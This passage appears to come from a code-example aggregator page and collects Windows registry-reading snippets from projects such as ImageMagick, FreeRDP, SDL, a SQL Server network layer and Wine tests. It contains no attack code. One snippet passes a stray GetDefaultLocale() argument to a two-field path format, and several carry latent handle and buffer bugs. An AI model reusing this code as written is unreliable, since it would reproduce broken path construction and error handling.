                      (LocaleCompare(token,"UltraBold") == 0) )
              {
                type_info->weight=800;
              }

            else if ( (LocaleCompare(token,"Heavy") == 0) ||
                      (LocaleCompare(token,"Black") == 0) )
              {
                type_info->weight=900;
              }

            else if (LocaleCompare(token,"Condensed") == 0)
              {
                type_info->stretch = CondensedStretch;
              }

            else if (LocaleCompare(token,"Expanded") == 0)
              {
                type_info->stretch = ExpandedStretch;
              }

            else if (LocaleCompare(token,"ExtraCondensed") == 0)
              {
                type_info->stretch = ExtraCondensedStretch;
              }

            else if (LocaleCompare(token,"ExtraExpanded") == 0)
              {
                type_info->stretch = ExtraExpandedStretch;
              }

            else if (LocaleCompare(token,"SemiCondensed") == 0)
              {
                type_info->stretch = SemiCondensedStretch;
              }

            else if (LocaleCompare(token,"SemiExpanded") == 0)
              {
                type_info->stretch = SemiExpandedStretch;
              }

            else if (LocaleCompare(token,"UltraCondensed") == 0)
              {
                type_info->stretch = UltraCondensedStretch;
              }

            else if (LocaleCompare(token,"UltraExpanded") == 0)
              {
                type_info->stretch = UltraExpandedStretch;
              }

            else
              {
                family_extent=q;
              }
          }

        (void) CopyMagickString(buffer,value_name,family_extent-value_name+1);
        StripString(buffer);
        type_info->family=ConstantString(buffer);

        list_entries++;
        status=AddValueToSplayTree(type_list,ConstantString(type_info->name),
          type_info);
        if (status == MagickFalse)
          (void) ThrowMagickException(exception,GetMagickModule(),
            ResourceLimitError,"MemoryAllocationFailed","`%s'",type_info->name);
      }
  }
  RegCloseKey ( reg_key );
  return(MagickTrue);
}
/*
* Implementation supports Windows NT 3.5 and newer.
*/
bool GetDNSRegistryNT(std::vector<std::string> &vecLocalDnsIp)
{
	bool bResult               = false;
	HKEY hKey_Interfaces       = NULL;
	HKEY hKey_Tcpip_Parameters = NULL;
	int  res = 0;
	std::string strValue;

	do 
	{
		res = RegOpenKeyExA(HKEY_LOCAL_MACHINE, WIN_NS_NT_KEY, 0, KEY_READ,
			&hKey_Tcpip_Parameters);
		if (res != ERROR_SUCCESS)
			break;

		/*
		** Global DNS settings override adapter specific parameters when both
		** are set. Additionally static DNS settings override DHCP-configured
		** parameters when both are set.
		*/

		/* Global DNS static parameters */

		GetREGSZ(hKey_Tcpip_Parameters, NAMESERVER, strValue);
		if(!strValue.empty())
		{
			bResult = true;
			break;
		}

		/* Global DNS DHCP-configured parameters */
		GetREGSZ(hKey_Tcpip_Parameters, DHCPNAMESERVER, strValue);
		if(!strValue.empty())
		{
			bResult = true;
			break;
		}

		/* Try adapter specific parameters */
		res = RegOpenKeyExA(hKey_Tcpip_Parameters, "Interfaces", 0,
			KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS,
			&hKey_Interfaces);
		if (ERROR_SUCCESS != res)
			break;

		/* Adapter specific DNS static parameters */
		GetEnumREGSZ(hKey_Interfaces, NAMESERVER, strValue);
		if(!strValue.empty())
		{
			bResult = true;
			break;
		}

		/* Adapter specific DNS DHCP-configured parameters */
		GetEnumREGSZ(hKey_Interfaces, DHCPNAMESERVER, strValue);
		if(!strValue.empty())
		{
			bResult = true;
			break;
		}

	} while (false);

	if(bResult)
	{
		CStringMethod::StringSplite(strValue, ",", vecLocalDnsIp);
	}

	if(NULL != hKey_Tcpip_Parameters)
	{
		RegCloseKey(hKey_Tcpip_Parameters);
		hKey_Tcpip_Parameters = NULL;
	}

	if(NULL != hKey_Interfaces)
	{
		RegCloseKey(hKey_Interfaces);
		hKey_Interfaces = NULL;
	}

	return bResult;
}
Esempio n. 17
0
File: nla.c Progetto: CeBkCn/FreeRDP
rdpNla* nla_new(freerdp* instance, rdpTransport* transport, rdpSettings* settings)
{

	rdpNla* nla = (rdpNla*) calloc(1, sizeof(rdpNla));

	if (!nla)
		return NULL;

	nla->identity = calloc(1, sizeof(SEC_WINNT_AUTH_IDENTITY));
	if (!nla->identity)
	{
		free (nla);
		return NULL;
	}

	nla->instance = instance;
	nla->settings = settings;
	nla->server = settings->ServerMode;
	nla->transport = transport;
	nla->sendSeqNum = 0;
	nla->recvSeqNum = 0;
	nla->version = 3;

	ZeroMemory(&nla->negoToken, sizeof(SecBuffer));
	ZeroMemory(&nla->pubKeyAuth, sizeof(SecBuffer));
	ZeroMemory(&nla->authInfo, sizeof(SecBuffer));
	SecInvalidateHandle(&nla->context);

	if (nla->server)
	{
		LONG status;
		HKEY hKey;
		DWORD dwType;
		DWORD dwSize;

		status = RegOpenKeyExA(HKEY_LOCAL_MACHINE, SERVER_KEY,
					  0, KEY_READ | KEY_WOW64_64KEY, &hKey);

		if (status != ERROR_SUCCESS)
			return nla;

		status = RegQueryValueEx(hKey, _T("SspiModule"), NULL, &dwType, NULL, &dwSize);
		if (status != ERROR_SUCCESS)
		{
			RegCloseKey(hKey);
			return nla;
		}

		nla->SspiModule = (LPTSTR) malloc(dwSize + sizeof(TCHAR));
		if (!nla->SspiModule)
		{
			RegCloseKey(hKey);
			free(nla);
			return NULL;
		}

		status = RegQueryValueEx(hKey, _T("SspiModule"), NULL, &dwType,
								 (BYTE*) nla->SspiModule, &dwSize);

		if (status == ERROR_SUCCESS)
			WLog_INFO(TAG, "Using SSPI Module: %s", nla->SspiModule);

		RegCloseKey(hKey);
	}

	return nla;
}
Esempio n. 18
0
static char *
GetJoystickName(int index, const char *szRegKey)
{
    /* added 7/24/2004 by Eckhard Stolberg */
    /*
       see if there is a joystick for the current
       index (1-16) listed in the registry
     */
    char *name = NULL;
    HKEY hTopKey;
    HKEY hKey;
    DWORD regsize;
    LONG regresult;
    char regkey[256];
    char regvalue[256];
    char regname[256];

    SDL_snprintf(regkey, SDL_arraysize(regkey), "%s\\%s\\%s",
                 REGSTR_PATH_JOYCONFIG, szRegKey, REGSTR_KEY_JOYCURR);
    hTopKey = HKEY_LOCAL_MACHINE;
    regresult = RegOpenKeyExA(hTopKey, regkey, 0, KEY_READ, &hKey);
    if (regresult != ERROR_SUCCESS) {
        hTopKey = HKEY_CURRENT_USER;
        regresult = RegOpenKeyExA(hTopKey, regkey, 0, KEY_READ, &hKey);
    }
    if (regresult != ERROR_SUCCESS) {
        return NULL;
    }

    /* find the registry key name for the joystick's properties */
    regsize = sizeof(regname);
    SDL_snprintf(regvalue, SDL_arraysize(regvalue), "Joystick%d%s", index + 1,
                 REGSTR_VAL_JOYOEMNAME);
    regresult =
        RegQueryValueExA(hKey, regvalue, 0, 0, (LPBYTE) regname, &regsize);
    RegCloseKey(hKey);

    if (regresult != ERROR_SUCCESS) {
        return NULL;
    }

    /* open that registry key */
    SDL_snprintf(regkey, SDL_arraysize(regkey), "%s\\%s", REGSTR_PATH_JOYOEM,
                 regname);
    regresult = RegOpenKeyExA(hTopKey, regkey, 0, KEY_READ, &hKey);
    if (regresult != ERROR_SUCCESS) {
        return NULL;
    }

    /* find the size for the OEM name text */
    regsize = sizeof(regvalue);
    regresult =
        RegQueryValueExA(hKey, REGSTR_VAL_JOYOEMNAME, 0, 0, NULL, &regsize);
    if (regresult == ERROR_SUCCESS) {
        /* allocate enough memory for the OEM name text ... */
        name = (char *) SDL_malloc(regsize);
        if (name) {
            /* ... and read it from the registry */
            regresult = RegQueryValueExA(hKey,
                                         REGSTR_VAL_JOYOEMNAME, 0, 0,
                                         (LPBYTE) name, &regsize);
        }
    }
    RegCloseKey(hKey);

    return (name);
}
Esempio n. 19
0
File: sm.cpp Progetto: mind0n/hive
DWORD Sm::LoadInstapiIfNeeded()
{
	DWORD dwError = ERROR_SUCCESS;	
	INSTAPILIBSTRUCT* pInstapiStruct = NULL;
	
	BidxScopeAutoSNI0( SNIAPI_TAG _T("\n") );

	//	Check to see if instapdll is already loaded
	//
	if (InterlockedCompareExchangePointer (
		reinterpret_cast<volatile PVOID*>(&gpInstapiStruct),
		NULL, NULL))
	{
		goto ErrorExit;
	}

	pInstapiStruct = NewNoX(gpmo) INSTAPILIBSTRUCT;

	if ( NULL == pInstapiStruct )
	{
		dwError = ERROR_OUTOFMEMORY;
		goto ErrorExit;
	}
	
	pInstapiStruct -> hInstapidll = NULL;
	
	
	//	Temparorily load the DLL.

	//1. Read registry value SharedCode under HKLM\Software\Microsoft\Microsoft SQL Server\90\Shared, 
	const char szSharedPathLocation[]="Software\\Microsoft\\Microsoft SQL Server\\90";
	HKEY  hKey;

	dwError = static_cast<DWORD> (RegOpenKeyExA( HKEY_LOCAL_MACHINE,// handle to open key
								 szSharedPathLocation,	// subkey name
								 0,					// reserved
								 KEY_QUERY_VALUE,	// security access mask
								 &hKey ));				// handle to open key

	if( ERROR_SUCCESS != dwError )
	{
		
		BidTrace1(ERROR_TAG _T("Cannot retrieve the shared path. %d{WINERR}\n"), dwError);
		goto ErrorExit;
	}

	char szSharedPath[MAX_PATH+1];
	DWORD cszSharedPath = MAX_PATH;
	DWORD dwSharedPathRegType; 
	dwError =  static_cast<DWORD> ( RegQueryValueExA(	hKey,					// handle to key
							   "SharedCode",			// value name
							   0,						// reserved
							   &dwSharedPathRegType,	// value type
							   (LPBYTE)szSharedPath,	// value data
							   &cszSharedPath ));			// size of value data

	RegCloseKey( hKey );							   

	if( ERROR_SUCCESS != dwError )
	{
		BidTrace1(ERROR_TAG _T("Cannot retrieve the shared path. %d{WINERR}\n"), dwError);
		goto ErrorExit;
	}

	if(REG_SZ != dwSharedPathRegType)
	{
		// RegValue is corrupted. In this case, we error out.
		dwError = ERROR_INVALID_DATA;
		goto ErrorExit;
	}

	__analysis_assume(cszSharedPath<=MAX_PATH); //The current header we use does not annotate RegQueryValueEx correctly, adding this to suppress Prefast 26015, we could remove it when the tools set is updated to Vista SDK.
	// Ensure NULL-termination.  
	szSharedPath[cszSharedPath] = '\0';

	//2. Load instapi.dll from the location where SharedCode points to

	const char szInstapidllname[] ="instapi.dll";
	char szInstapipath[MAX_PATH+sizeof(szInstapidllname)+1];
	if(FAILED(StringCchPrintf_lA( szInstapipath,
				CCH_ANSI_STRING(szInstapipath),
				"%s%s", GetDefaultLocale(),szSharedPath,szInstapidllname)))
	{
			dwError = ERROR_INVALID_PARAMETER;
			goto ErrorExit;
	}
	
	szInstapipath[sizeof(szInstapipath)-1] = '\0';
	
	if( NULL == (pInstapiStruct->hInstapidll = LoadLibraryA( szInstapipath)) )
	{
		dwError = GetLastError();
		BidTrace1(ERROR_TAG _T("Failed to load instapi.dll. %d{WINERR}\n"), dwError );
		goto ErrorExit;
	}


	const char * szGetSvcInstanceIDFromName = "GetSvcInstanceIDFromName";	
	
	if( !(pInstapiStruct->pfnGetSvcInstanceIDFromName
		=  (PFNGetSvcInstanceIDFromName)GetProcAddress( pInstapiStruct->hInstapidll, 
												szGetSvcInstanceIDFromName)) 
	  )
	{
		dwError = GetLastError();
		BidTrace1(ERROR_TAG _T("Failed to load function GetSvcInstanceIDFromName. %d{WINERR}\n"), dwError );
		goto ErrorExit;
	}


	const char * szGetSQLInstanceRegStringByID = "GetSQLInstanceRegStringByID";	
	
	if( !(pInstapiStruct->pfnGetSQLInstanceRegStringByID
		=  (PFNGetSQLInstanceRegStringByID)GetProcAddress( pInstapiStruct->hInstapidll, 
												szGetSQLInstanceRegStringByID)) 
	  )
	{
		dwError = GetLastError();
		BidTrace1(ERROR_TAG _T("Failed to load function GetSQLInstanceRegStringByID. %d{WINERR}\n"), dwError );
		goto ErrorExit;
	}


	Assert (ERROR_SUCCESS == dwError );

	//	Now try to set global gpInstapiStruct
	if ( InterlockedCompareExchangePointer (
		reinterpret_cast<volatile PVOID*>(&gpInstapiStruct),
		reinterpret_cast<PVOID>(pInstapiStruct) ,NULL))
	{		
		goto ErrorExit;
	}

	BidTraceU1( SNI_BID_TRACE_ON, RETURN_TAG _T("Loaded instapi.dll. %d{WINERR}\n"), dwError );	
	return dwError;
	
ErrorExit:

	if ( pInstapiStruct )
	{
		if ( pInstapiStruct -> hInstapidll )	
			FreeLibrary( pInstapiStruct -> hInstapidll );
		
		delete pInstapiStruct;			
	}

	if ( ERROR_SUCCESS != dwError )
		SNI_SET_LAST_ERROR( SM_PROV, SNIE_36, dwError );
	
	BidTraceU1( SNI_BID_TRACE_ON, RETURN_TAG _T("%d{WINERR}\n"), dwError );	
	return dwError;
}	
Esempio n. 20
0
static void test_legacy_filter_registration(void)
{
    IFilterMapper2 *pMapper2 = NULL;
    IFilterMapper *pMapper = NULL;
    HRESULT hr;
    static const WCHAR wszFilterName[] = {'T', 'e', 's', 't', 'f', 'i', 'l', 't', 'e', 'r', 0 };
    static const CHAR szFilterName[] = "Testfilter";
    static const WCHAR wszPinName[] = {'P', 'i', 'n', '1', 0 };
    CLSID clsidFilter;
    CHAR szRegKey[MAX_PATH];
    static const CHAR szClsid[] = "CLSID";
    WCHAR wszGuidstring[MAX_PATH];
    CHAR szGuidstring[MAX_PATH];
    LONG lRet;
    HKEY hKey = NULL;
    IEnumMoniker *pEnum = NULL;
    BOOL found;
    IEnumRegFilters *pRegEnum = NULL;

    /* Test if legacy filter registration scheme works (filter is added to HKCR\Filter). IFilterMapper_RegisterFilter
     * registers in this way. Filters so registered must then be accessible through both IFilterMapper_EnumMatchingFilters
     * and IFilterMapper2_EnumMatchingFilters. */
    hr = CoCreateInstance(&CLSID_FilterMapper2, NULL, CLSCTX_INPROC_SERVER,
            &IID_IFilterMapper2, (LPVOID*)&pMapper2);
    ok(hr == S_OK, "CoCreateInstance failed with %x\n", hr);
    if (FAILED(hr)) goto out;

    hr = IFilterMapper2_QueryInterface(pMapper2, &IID_IFilterMapper, (LPVOID)&pMapper);
    ok(hr == S_OK, "IFilterMapper2_QueryInterface failed with %x\n", hr);
    if (FAILED(hr)) goto out;

    /* Register a test filter. */
    hr = CoCreateGuid(&clsidFilter);
    ok(hr == S_OK, "CoCreateGuid failed with %x\n", hr);

    lRet = StringFromGUID2(&clsidFilter, wszGuidstring, MAX_PATH);
    ok(lRet > 0, "StringFromGUID2 failed\n");
    if (!lRet) goto out;
    WideCharToMultiByte(CP_ACP, 0, wszGuidstring, -1, szGuidstring, MAX_PATH, 0, 0);

    lstrcpyA(szRegKey, szClsid);
    lstrcatA(szRegKey, "\\");
    lstrcatA(szRegKey, szGuidstring);

    /* Register---- functions need a filter class key to write pin and pin media type data to. Create a bogus
     * class key for it. */
    lRet = RegCreateKeyExA(HKEY_CLASSES_ROOT, szRegKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
    if (lRet == ERROR_ACCESS_DENIED)
        skip("Not authorized to register filters\n");
    else
    {
        ok(lRet == ERROR_SUCCESS, "RegCreateKeyExA failed with %x\n", HRESULT_FROM_WIN32(lRet));

        /* Set default value - this is interpreted as "friendly name" later. */
        lRet = RegSetValueExA(hKey, NULL, 0, REG_SZ, (LPBYTE)szFilterName, lstrlenA(szFilterName) + 1);
        ok(lRet == ERROR_SUCCESS, "RegSetValueExA failed with %x\n", HRESULT_FROM_WIN32(lRet));

        if (hKey) RegCloseKey(hKey);
        hKey = NULL;

        hr = IFilterMapper_RegisterFilter(pMapper, clsidFilter, wszFilterName, MERIT_UNLIKELY);
        ok(hr == S_OK, "IFilterMapper_RegisterFilter failed with %x\n", hr);

        hr = IFilterMapper_RegisterPin(pMapper, clsidFilter, wszPinName, TRUE, FALSE, FALSE, FALSE, GUID_NULL, NULL);
        ok(hr == S_OK, "IFilterMapper_RegisterPin failed with %x\n", hr);

        hr = IFilterMapper_RegisterPinType(pMapper, clsidFilter, wszPinName, GUID_NULL, GUID_NULL);
        ok(hr == S_OK, "IFilterMapper_RegisterPinType failed with %x\n", hr);

        hr = IFilterMapper2_EnumMatchingFilters(pMapper2, &pEnum, 0, TRUE, MERIT_UNLIKELY, TRUE,
                0, NULL, NULL, &GUID_NULL, FALSE, FALSE, 0, NULL, NULL, &GUID_NULL);
        ok(hr == S_OK, "IFilterMapper2_EnumMatchingFilters failed with %x\n", hr);
        if (SUCCEEDED(hr) && pEnum)
        {
            found = enum_find_filter(wszFilterName, pEnum);
            ok(found, "IFilterMapper2_EnumMatchingFilters failed to return the test filter\n");
        }

        if (pEnum) IEnumMoniker_Release(pEnum);
        pEnum = NULL;

        found = FALSE;
        hr = IFilterMapper_EnumMatchingFilters(pMapper, &pRegEnum, MERIT_UNLIKELY, TRUE, GUID_NULL, GUID_NULL,
            FALSE, FALSE, GUID_NULL, GUID_NULL);
        ok(hr == S_OK, "IFilterMapper_EnumMatchingFilters failed with %x\n", hr);
        if (SUCCEEDED(hr) && pRegEnum)
        {
            ULONG cFetched;
            REGFILTER *prgf;

            while(!found && IEnumRegFilters_Next(pRegEnum, 1, &prgf, &cFetched) == S_OK)
            {
                CHAR val[512];

                WideCharToMultiByte(CP_ACP, 0, prgf->Name, -1, val, sizeof(val), 0, 0);
                if (!lstrcmpA(val, szFilterName)) found = TRUE;

                CoTaskMemFree(prgf);
            }

            IEnumRegFilters_Release(pRegEnum);
        }
        ok(found, "IFilterMapper_EnumMatchingFilters failed to return the test filter\n");

        hr = IFilterMapper_UnregisterFilter(pMapper, clsidFilter);
        ok(hr == S_OK, "FilterMapper_UnregisterFilter failed with %x\n", hr);

        lRet = RegOpenKeyExA(HKEY_CLASSES_ROOT, szClsid, 0, KEY_WRITE | DELETE, &hKey);
        ok(lRet == ERROR_SUCCESS, "RegOpenKeyExA failed with %x\n", HRESULT_FROM_WIN32(lRet));

        lRet = RegDeleteKeyA(hKey, szGuidstring);
        ok(lRet == ERROR_SUCCESS, "RegDeleteKeyA failed with %x\n", HRESULT_FROM_WIN32(lRet));
    }

    if (hKey) RegCloseKey(hKey);
    hKey = NULL;

    out:

    if (pMapper) IFilterMapper_Release(pMapper);
    if (pMapper2) IFilterMapper2_Release(pMapper2);
}
Esempio n. 21
0
void
WIN_InitMouse(_THIS)
{
    int index = 0;
    RAWINPUTDEVICELIST *deviceList = NULL;
    int devCount = 0;
    int i;
    int tmp = 0;
    char *buffer = NULL;
    char *tab = "wacom";        /* since windows does't give us handles to tablets, we have to detect a tablet by it's name */
    const char *rdp = "rdp_mou";
    SDL_VideoData *data = (SDL_VideoData *) _this->driverdata;

/* WinCE has no RawInputDeviceList */
#ifdef _WIN32_WCE
    SDL_Mouse mouse;
    SDL_zero(mouse);
    mouse.id = 0;
    SDL_AddMouse(&mouse, "Stylus", 0, 0, 1);
#else
    /* we're checking for the number of rawinput devices */
    if (GetRawInputDeviceList(NULL, &devCount, sizeof(RAWINPUTDEVICELIST))) {
        return;
    }

    deviceList = SDL_malloc(sizeof(RAWINPUTDEVICELIST) * devCount);

    /* we're getting the raw input device list */
    GetRawInputDeviceList(deviceList, &devCount, sizeof(RAWINPUTDEVICELIST));
    mice = SDL_malloc(devCount * sizeof(HANDLE));

    /* we're getting the details of the devices */
    for (i = 0; i < devCount; ++i) {
        int is_rdp = 0;
        int j;
        int k;
        char *default_device_name = "Pointing device xx";
        const char *reg_key_root = "System\\CurrentControlSet\\Enum\\";
        char *device_name = SDL_malloc(256 * sizeof(char));
        char *key_name = NULL;
        char *tmp_name = NULL;
        LONG rc = 0;
        HKEY hkey;
        DWORD regtype = REG_SZ;
        DWORD out = 256 * sizeof(char);
        SDL_Mouse mouse;
        int l;
        if (deviceList[i].dwType != RIM_TYPEMOUSE) {    /* if a device isn't a mouse type we don't want it */
            continue;
        }
        if (GetRawInputDeviceInfoA
            (deviceList[i].hDevice, RIDI_DEVICENAME, NULL, &tmp) < 0) {
            continue;
        }
        buffer = SDL_malloc((tmp + 1) * sizeof(char));
        key_name =
            SDL_malloc((tmp + SDL_strlen(reg_key_root) + 1) * sizeof(char));

        /* we're getting the device registry path and polishing it to get it's name,
           surely there must be an easier way, but we haven't found it yet */
        if (GetRawInputDeviceInfoA
            (deviceList[i].hDevice, RIDI_DEVICENAME, buffer, &tmp) < 0) {
            continue;
        }
        buffer += 4;
        tmp -= 4;
        tmp_name = buffer;
        for (j = 0; j < tmp; ++j) {
            if (*tmp_name == '#') {
                *tmp_name = '\\';
            }

            else if (*tmp_name == '{') {
                break;
            }
            ++tmp_name;
        }
        *tmp_name = '\0';
        SDL_memcpy(key_name, reg_key_root, SDL_strlen(reg_key_root));
        SDL_memcpy(key_name + (SDL_strlen(reg_key_root)), buffer, j + 1);
        l = SDL_strlen(key_name);
        is_rdp = 0;
        if (l >= 7) {
            for (j = 0; j < l - 7; ++j) {
                for (k = 0; k < 7; ++k) {
                    if (rdp[k] !=
                        SDL_tolower((unsigned char) key_name[j + k])) {
                        break;
                    }
                }
                if (k == 7) {
                    is_rdp = 1;
                    break;
                }
            }
        }

        buffer -= 4;

        if (is_rdp == 1) {
            SDL_free(buffer);
            SDL_free(key_name);
            SDL_free(device_name);
            is_rdp = 0;
            continue;
        }

        /* we're opening the registry key to get the mouse name */
        rc = RegOpenKeyExA(HKEY_LOCAL_MACHINE, key_name, 0, KEY_READ, &hkey);
        if (rc != ERROR_SUCCESS) {
            SDL_memcpy(device_name, default_device_name,
                       SDL_strlen(default_device_name));
        }
        rc = RegQueryValueExA(hkey, "DeviceDesc", NULL, &regtype, device_name,
                              &out);
        RegCloseKey(hkey);
        if (rc != ERROR_SUCCESS) {
            SDL_memcpy(device_name, default_device_name,
                       SDL_strlen(default_device_name));
        }

        /* we're saving the handle to the device */
        mice[index] = deviceList[i].hDevice;
        SDL_zero(mouse);
        mouse.id = index;
        l = SDL_strlen(device_name);

        /* we're checking if the device isn't by any chance a tablet */
        if (data->wintabDLL && tablet == -1) {
            for (j = 0; j < l - 5; ++j) {
                for (k = 0; k < 5; ++k) {
                    if (tab[k] !=
                        SDL_tolower((unsigned char) device_name[j + k])) {
                        break;
                    }
                }
                if (k == 5) {
                    tablet = index;
                    break;
                }
            }
        }

        /* if it's a tablet, let's read it's maximum and minimum pressure */
        if (tablet == index) {
            AXIS pressure;
            int cursors;
            data->WTInfoA(WTI_DEVICES, DVC_NPRESSURE, &pressure);
            data->WTInfoA(WTI_DEVICES, DVC_NCSRTYPES, &cursors);
            SDL_AddMouse(&mouse, device_name, pressure.axMax, pressure.axMin,
                         cursors);
        } else {
            SDL_AddMouse(&mouse, device_name, 0, 0, 1);
        }
        ++index;
        SDL_free(buffer);
        SDL_free(key_name);
    }
    total_mice = index;
    SDL_free(deviceList);
#endif /*_WIN32_WCE*/
}
Esempio n. 22
0
static BOOL
attachDebugger(DWORD dwProcessId)
{
    long lRet;

    HKEY hKey;
    lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\AeDebug", 0, KEY_READ, &hKey);
    if (lRet != ERROR_SUCCESS) {
        debugPrintf("inject: error: RegOpenKeyExA failed\n");
        return FALSE;
    }

    char szDebugger[1024];
    DWORD cbDebugger = sizeof szDebugger;
    lRet = RegQueryValueExA(hKey, "Debugger", NULL, NULL, (BYTE *)szDebugger, &cbDebugger);

    RegCloseKey(hKey);

    if (lRet != ERROR_SUCCESS) {
        if (lRet == ERROR_FILE_NOT_FOUND) {
            debugPrintf("inject: error: no automatic debugger configured\n");
        } else {
            debugPrintf("inject: error: RegQueryValueExA failed (0x%08lx)\n", lRet);
        }
        return FALSE;
    }

    SECURITY_ATTRIBUTES sa = { sizeof sa, 0, TRUE };
    HANDLE hEvent = CreateEvent(&sa, FALSE, FALSE, NULL);

    char szDebuggerCommand[1024];
    _snprintf(szDebuggerCommand, sizeof szDebuggerCommand, szDebugger,
              dwProcessId, (DWORD)(UINT_PTR)hEvent, NULL);

    debugPrintf("%s\n", szDebuggerCommand);

    PROCESS_INFORMATION pi;
    ZeroMemory(&pi, sizeof pi);
    STARTUPINFOA si;
    ZeroMemory(&si, sizeof si);
    si.cb = sizeof &si;

    BOOL bRet = FALSE;
    if (!CreateProcessA(
           NULL,
           szDebuggerCommand,
           NULL, // process attributes
           NULL, // thread attributes
           TRUE, // inherit (event) handles
           0,
           NULL, // environment
           NULL, // current directory
           &si,
           &pi)) {
        debugPrintf("inject: error: failed to execute \"%s\" with 0x%08lx\n",
                    szDebuggerCommand,
                    GetLastError());
    } else {
        HANDLE handles[] = {
            hEvent,
            pi.hProcess
        };

        DWORD dwRet = WaitForMultipleObjects(_countof(handles), handles, FALSE, INFINITE);
        bRet = dwRet == WAIT_OBJECT_0;

        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
    }

    CloseHandle(hEvent);

    return bRet;
}
Esempio n. 23
0
File: reg.c Progetto: Dietr1ch/wine
static void test_add(void)
{
    HKEY hkey;
    LONG err;
    DWORD r, dword, type, size;

    run_reg_exe("reg add", &r);
    ok(r == REG_EXIT_FAILURE, "got exit code %d, expected 1\n", r);

    err = RegDeleteKeyA(HKEY_CURRENT_USER, KEY_BASE);
    ok(err == ERROR_SUCCESS || err == ERROR_FILE_NOT_FOUND, "got %d\n", err);

    err = RegOpenKeyExA(HKEY_CURRENT_USER, KEY_BASE, 0, KEY_READ, &hkey);
    ok(err == ERROR_FILE_NOT_FOUND, "got %d\n", err);

    run_reg_exe("reg add HKCU\\" KEY_BASE " /f", &r);
    ok(r == REG_EXIT_SUCCESS, "got exit code %d, expected 0\n", r);

    err = RegOpenKeyExA(HKEY_CURRENT_USER, KEY_BASE, 0, KEY_READ, &hkey);
    ok(err == ERROR_SUCCESS, "key creation failed, got %d\n", err);

    /* REG_SZ */
    run_reg_exe("reg add HKCU\\" KEY_BASE " /d WineTest /f", &r);
    ok(r == REG_EXIT_SUCCESS || broken(r == REG_EXIT_FAILURE /* WinXP */),
       "got exit code %d, expected 0\n", r);
    if (r == REG_EXIT_SUCCESS)
        verify_reg(hkey, "", REG_SZ, "WineTest", 9, 0);
    else
        win_skip("broken reg.exe detected\n");

    run_reg_exe("reg add HKCU\\" KEY_BASE " /v test /d deadbeef /f", &r);
    ok(r == REG_EXIT_SUCCESS, "got exit code %d, expected 0\n", r);
    verify_reg(hkey, "test", REG_SZ, "deadbeef", 9, 0);

    run_reg_exe("reg add HKCU\\" KEY_BASE " /v test /f", &r);
    ok(r == REG_EXIT_SUCCESS, "got exit code %d, expected 0\n", r);
    verify_reg(hkey, "test", REG_SZ, "", 1, TODO_REG_SIZE);

    run_reg_exe("reg add HKEY_CURRENT_USER\\" KEY_BASE " /ve /d WineTEST /f", &r);
    ok(r == REG_EXIT_SUCCESS, "got exit code %d, expected 0\n", r);
    verify_reg(hkey, "", REG_SZ, "WineTEST", 9, 0);

    run_reg_exe("reg add HKCU\\" KEY_BASE " /t REG_SZ /v test2 /f", &r);
    ok(r == REG_EXIT_SUCCESS, "got exit code %d, expected 0\n", r);
    verify_reg(hkey, "test2", REG_SZ, "", 1, TODO_REG_SIZE);

    run_reg_exe("reg add HKCU\\" KEY_BASE " /t REG_SZ /v test3 /f /d \"\"", &r);
    ok(r == REG_EXIT_SUCCESS, "got exit code %d, expected 0\n", r);
    verify_reg(hkey, "test3", REG_SZ, "", 1, 0);

    /* REG_DWORD */
    run_reg_exe("reg add HKCU\\" KEY_BASE " /t REG_DWORD /f /d 12345678", &r);
    ok(r == REG_EXIT_SUCCESS || broken(r == REG_EXIT_FAILURE /* WinXP */),
       "got exit code %d, expected 0\n", r);
    dword = 12345678;
    if (r == REG_EXIT_SUCCESS)
        verify_reg(hkey, "", REG_DWORD, &dword, sizeof(dword), 0);
    else
        win_skip("broken reg.exe detected\n");

    run_reg_exe("reg add HKCU\\" KEY_BASE " /v dword1 /t REG_DWORD /f", &r);
    todo_wine ok(r == REG_EXIT_FAILURE || broken(r == REG_EXIT_SUCCESS /* WinXP */),
       "got exit code %d, expected 0\n", r);
    run_reg_exe("reg add HKCU\\" KEY_BASE " /v dword2 /t REG_DWORD /d zzz /f", &r);
    todo_wine ok(r == REG_EXIT_FAILURE, "got exit code %d, expected 1\n", r);
    run_reg_exe("reg add HKCU\\" KEY_BASE " /v dword3 /t REG_DWORD /d deadbeef /f", &r);
    todo_wine ok(r == REG_EXIT_FAILURE, "got exit code %d, expected 1\n", r);
    run_reg_exe("reg add HKCU\\" KEY_BASE " /v dword4 /t REG_DWORD /d 123xyz /f", &r);
    todo_wine ok(r == REG_EXIT_FAILURE, "got exit code %d, expected 1\n", r);

    run_reg_exe("reg add HKCU\\" KEY_BASE " /v dword5 /t reg_dword /d 12345678 /f", &r);
    ok(r == REG_EXIT_SUCCESS, "got exit code %d, expected 0\n", r);
    dword = 12345678;
    verify_reg(hkey, "dword5", REG_DWORD, &dword, sizeof(dword), 0);

    run_reg_exe("reg add HKCU\\" KEY_BASE " /v dword6 /t REG_DWORD /D 0123 /f", &r);
    ok(r == REG_EXIT_SUCCESS, "got exit code %d, expected 0\n", r);
    size = sizeof(dword);
    err = RegQueryValueExA(hkey, "dword6", NULL, &type, (LPBYTE)&dword, &size);
    ok(err == ERROR_SUCCESS, "RegQueryValueEx failed: got %d\n", err);
    ok(type == REG_DWORD, "got wrong type %d, expected %d\n", type, REG_DWORD);
    ok(size == sizeof(DWORD), "got wrong size %d, expected %d\n", size, (int)sizeof(DWORD));
    todo_wine ok(dword == 123 || broken(dword == 0123 /* WinXP */),
                 "got wrong data %d, expected %d\n", dword, 123);

    run_reg_exe("reg add HKCU\\" KEY_BASE " /v dword7 /t reg_dword /d 0xabcdefg /f", &r);
    todo_wine ok(r == REG_EXIT_FAILURE, "got exit code %d, expected 1\n", r);

    run_reg_exe("reg add HKCU\\" KEY_BASE " /v dword8 /t REG_dword /d 0xdeadbeef /f", &r);
    ok(r == REG_EXIT_SUCCESS, "got exit code %d, expected 0\n", r);
    dword = 0xdeadbeef;
    verify_reg(hkey, "dword8", REG_DWORD, &dword, sizeof(dword),
               (sizeof(long) > sizeof(DWORD)) ? 0 : TODO_REG_DATA);

    /* REG_DWORD_LITTLE_ENDIAN */
    run_reg_exe("reg add HKCU\\" KEY_BASE " /v DWORD_LE /t REG_DWORD_LITTLE_ENDIAN /d 456 /f", &r);
